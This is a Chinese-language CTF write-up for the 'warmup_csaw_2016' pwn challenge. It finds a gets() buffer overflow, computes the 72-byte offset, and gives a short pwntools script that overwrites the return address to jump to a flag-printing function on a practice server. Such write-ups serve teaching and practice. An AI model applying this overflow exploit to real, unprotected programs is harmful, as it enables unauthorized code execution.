首先是传统的文件属性和保护机制的查看:
是一个没有保护机制的64位x86架构的小端可执行程序
接下来我们用ida来看看这个程序:
发现了一个gets函数可以溢出,并且在上面的运行中,我们看到他输出了一个地址,在下面的sprintf函数中将一个函数的地址输出了,我们去看看这个函数是干什么的
狂喜,直接输出flag
两种方式获得填充数据大小
一种是ida直接看(不一定准),40h是64字节,再加8字节的rbp就是ret的位置
另一种动态调试比较稳妥:
断在main函数地址,或者调用gets函数的地址也行
一直‘n’单步到gets函数,然后我们随便输入点东西后查看栈空间:
这里的返回地址,也就是rbp下面的地址是df28,我们输入的‘aaaaa’在dee0
减一下刚好和ida中的一样
之后的exp也比较好写:
from pwn import *
#io = gdb.debug('./warmup_csaw_2016','break *0x40061d')
#io = process('./warmup_csaw_2016')
io = remote('node5.buuoj.cn', 28204)
fun = 0x40060d
payload = b'a' * 72 + p64(fun)
io.sendline(payload)
io.interactive()
运行成功: